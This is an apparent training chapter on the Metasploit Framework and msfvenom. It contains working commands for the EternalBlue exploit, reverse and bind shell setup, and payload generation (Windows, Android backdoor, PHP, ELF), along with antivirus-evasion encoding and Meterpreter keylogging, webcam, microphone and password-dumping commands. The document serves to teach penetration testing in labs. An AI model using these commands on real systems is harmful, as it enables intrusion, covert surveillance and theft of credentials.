

Chapter 8 – Metasploit Framework & Payloads

Introduction to Metasploit

◆ What is Metasploit?

Metasploit is one of the most famous penetration testing and exploitation frameworks used in cybersecurity and ethical hacking. It is mainly used to:

- ✓ Discover vulnerabilities
- ✓ Exploit vulnerable systems
- ✓ Gain access to target machines
- ✓ Generate payloads
- ✓ Perform post-exploitation tasks

👉 It is widely used by:

- Ethical Hackers
- Penetration Testers
- Security Researchers
- Red Teamers

⚠ Metasploit should only be used in:

- Labs
- CTFs
- Authorized penetration tests

Unauthorized use is illegal.

History of Metasploit

 **Created By:** H. D. Moore in 2003

 **Acquired By:** Rapid7 in 2009

How Metasploit Works

Suppose:

 Machine 1 = Kali Linux (Attacker Machine)

 Machine 2 = Vulnerable Windows/Linux Machine (Target)

If the target machine has a vulnerability, Metasploit can use that weakness to gain access.

This process is called:

Exploitation

 Exploitation means taking advantage of a vulnerability to gain unauthorized access.

What Can Be Done After Exploitation?

After successful exploitation, an attacker may:

-  Run commands remotely
-  Upload/download files
-  Take screenshots
-  Access webcam/microphone
-  Capture keystrokes
-  Escalate privileges
-  Maintain persistent access

 Again, these actions should only be performed in legal lab environments.

Important Terms in Metasploit

1 Exploit

◆ What is an Exploit?

An **exploit** is code that attacks a specific vulnerability.

Purpose

Its job is only to:

- ✓ Exploit the weakness
- ✓ Gain access to the target

Daily Life Example

Imagine:

- A door lock has a weakness
- Exploit = special key that opens the weak lock

2 Payload

◆ What is a Payload?

A **payload** is the code that runs after exploitation succeeds.

Payload Performs Tasks Like:

- ✓ Reverse shell
- ✓ Meterpreter session
- ✓ File operations
- ✓ Webcam access
- ✓ Screenshots

Simple Example

Exploit opens the door 

Payload enters the room 

3 Auxiliary Modules

◆ What are Auxiliary Modules?

Auxiliary modules are used for:

- ✓ Scanning
- ✓ Enumeration
- ✓ Banner grabbing
- ✓ SMB checks
- ✓ Port scanning

They usually do NOT exploit the system.

💡 Example

Like security guards collecting information before an operation.

4 Encoders

◆ What is an Encoder?

Encoders modify payload code to avoid antivirus or IDS detection.

📌 Purpose

- ✓ Obfuscation
- ✓ Signature bypass
- ✓ Evasion

💡 Example

Changing appearance using disguise to avoid recognition.

5 NOP (No Operation)

◆ What is NOP?

NOP means:

“No Operation”

It adds blank instructions that do nothing.

Why Use It?

- ✓ Helps align shellcode in memory
- ✓ Helps bypass simple detections
- ✓ Improves payload execution reliability

Concept Explained

Suppose:

- Payload is sent directly
- Antivirus may detect it

So NOPs are inserted before payload execution.

CPU processes those harmless instructions first, then executes payload.

Daily Life Example

Like adding empty spaces before important text so formatting works properly.

Antivirus Detection Methods

Most antivirus solutions use:

Signature-Based Detection

Checks:

- ✓ Hash values
- ✓ Known malware signatures
- ✓ Certificates

If file signature matches malware database → blocked.

Example

Like police checking criminal fingerprints.

2 Behavior Detection System (BDS)

Monitors:

- ✓ Program behavior
- ✓ Suspicious actions
- ✓ Registry modifications
- ✓ AppData execution
- ✓ Memory injections

💡 Example

Even if someone changes clothes, suspicious behavior still reveals identity.

🔍 Vulnerability Research

Before exploiting:

- ✓ Check vulnerability details on:
 - [CVE Details](#)
 - [NVD Database](#)

Then:

- ✓ Search exploit availability
- ✓ Find vulnerable systems using:
 - [Shodan](#)

💻 Starting Metasploit

◆ Open Metasploit Console

msfconsole

After running:

```
= [ metasploit v6.x ]  
+ -- == [ exploits ]  
+ -- == [ payloads ]
```

Searching for Modules

Search Auxiliary Scanner

search auxiliary smb

Purpose

Find SMB-related scanner modules.

Using SMB Scanner Example

use auxiliary/scanner/smb/smb_ms17_010

Show Options

show options

Set Target IP

set RHOSTS 192.168.1.10

Run Scanner

run

Purpose

Checks whether target is vulnerable to:

MS17-010 (EternalBlue)

Exploiting EternalBlue

Search Exploit

search exploit smb

Use Exploit

use exploit/windows/smb/ms17_010_eternalblue

Configure Target

show options

set RHOST 192.168.1.10

Run Exploit

exploit

or

run

Shell Types

There are mainly:

- 1 Bind Shell
 - 2 Reverse Shell
 - 3 Meterpreter Shell
-

Reverse Shell

◆ How It Works

Target machine connects BACK to attacker.

✦ Why Popular?

- ✓ Outgoing traffic usually allowed
 - ✓ Bypasses firewalls more easily
 - ✓ Better for real-world environments
-

Reverse Shell Workflow

Step 1 – Attacker Starts Listener

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
exploit
```

Step 2 – Generate Payload

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10  
LPORT=4444 -f exe > shell.exe
```

When victim runs file:

- ✓ Connection returns to attacker.

Bind Shell

◆ How It Works

Victim machine:

- ✓ Opens a port
- ✓ Waits for attacker connection

Attacker connects manually.

Bind Shell Example

Generate Payload

```
msfvenom -p windows/shell_bind_tcp RHOST=192.168.1.100 RPORT=5555 -f  
exe > bindshell.exe
```

Connect to Victim

```
nc 192.168.1.100 5555
```

Bind vs Reverse Shell

Feature	Bind Shell	Reverse Shell
Connection Initiated By Attacker		Victim
Firewall Bypass	Difficult	Easier
Stealth	Less	More
Public IP Requirement	No	Often Yes

Feature	Bind Shell	Reverse Shell
Real-World Usage	Less Common	Very Common

Meterpreter

◆ **What is Meterpreter?**

Meterpreter is an advanced Metasploit payload.

It runs completely in memory and provides powerful control over target systems.

Meterpreter Features

- ✓ File browsing
- ✓ Webcam access
- ✓ Screenshot capture
- ✓ Keylogging
- ✓ Privilege escalation
- ✓ Process migration
- ✓ Password dumping

What is msfvenom?

◆ **Definition**

msfvenom is a Metasploit command-line payload generator.

It combines:

- msfpayload
- msfencode

into one tool.

Basic Syntax

```
msfvenom -p <payload> LHOST=<your_ip> LPORT=<port> -f <format> >  
<filename>
```

Important Parameters

Parameter Purpose

-p	Payload
LHOST	Attacker IP
LPORT	Attacker Port
-f	Output Format
>	Save File

msfvenom Examples

1 Windows EXE Payload

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10  
LPORT=4444 -f exe > shell.exe
```

2 Android APK Payload

```
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.10  
LPORT=4444 -f apk > backdoor.apk
```

3 PHP Payload

```
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444  
-f raw > shell.php
```

Linux ELF Payload

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10  
LPORT=4444 -f elf > payload.elf
```

Encoding Payloads

Example

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10  
LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe > encoded_shell.exe
```

Meaning

Option Meaning

-e	Encoder
-i	Iterations

List Payloads

```
msfvenom -l payloads
```

List Formats

```
msfvenom -l formats
```

Output Formats

Format Purpose

exe	Windows executable
apk	Android application
elf	Linux binary
php	PHP script

Format Purpose

ps1 PowerShell

raw Shellcode



Meterpreter File System Commands

Command Purpose

ls List files

cd Change directory

pwd Show current directory

download Download file

upload Upload file

rm Delete file

mkdir Create directory

cat Read file



Webcam Commands

Command Purpose

webcam_list Show webcams

webcam_snap Take snapshot

webcam_stream Stream webcam

webcam_chat Start video chat

Audio Commands

Command Purpose

record_mic Record microphone

play Play audio

Keylogging Commands

Command Purpose

keyscan_start Start keylogging

keyscan_dump Show captured keys

keyscan_stop Stop keylogging

System Commands

Command Purpose

sysinfo System information

ps Running processes

reboot Restart system

shutdown Shutdown target

shell Open system shell

screenshot Take screenshot

Privilege Escalation

Command

getsystem

Purpose

Attempts privilege escalation to SYSTEM level.

Session Management Commands

Command	Purpose
sessions	List sessions
background	Background current session
sessions -i 1	Interact with session
exit	Exit session

Database Commands

Initialize Database

msfdb init

Check Status

db_status

Create Workspace

workspace -a test_project

Example Full Attack Flow

msfconsole

search ms17_010

use exploit/windows/smb/ms17_010_eternalblue

show options

set RHOST 192.168.1.100

set LHOST 192.168.1.10

set payload windows/meterpreter/reverse_tcp

exploit

Types of Metasploit Modules

1 Exploit Modules

 Attack vulnerabilities

 Gain access

 Like master key for weak lock.

2 Payload Modules

 Run after exploitation

 Open reverse shell

 Create Meterpreter session

 Like hidden spy camera after entering room.

3 Auxiliary Modules

- ✓ Scanning
- ✓ Enumeration
- ✓ Brute force
- ✓ Banner grabbing

💡 Like surveillance before attack.

4 Post-Exploitation Modules

- ✓ Password dumping
- ✓ Webcam access
- ✓ Privilege escalation
- ✓ Hidden users

💡 Like actions performed after entering building.

5 Encoders

- ✓ Hide payload
- ✓ Change appearance
- ✓ Bypass antivirus

💡 Like wearing disguise.

6 NOP Generators

- ✓ Add blank instructions
- ✓ Help shellcode execution
- ✓ Avoid detection

💡 Like adding silence between songs.

Summary Table

Module Type	Purpose	Real-Life Analogy
Exploit	Break into system	Master key
Payload	Execute actions	Hidden camera
Auxiliary	Information gathering	Surveillance
Post	Actions after access	Stealing valuables
Encoder	Hide malicious code	Disguise
NOP Generator	Adjust execution	Adding silence

Ethical Warning

Metasploit and msfvenom are powerful cybersecurity tools.

They should ONLY be used for:

- ✓ Learning
- ✓ Labs
- ✓ Practice environments
- ✓ Authorized penetration testing

Using them against real systems without permission is illegal and unethical.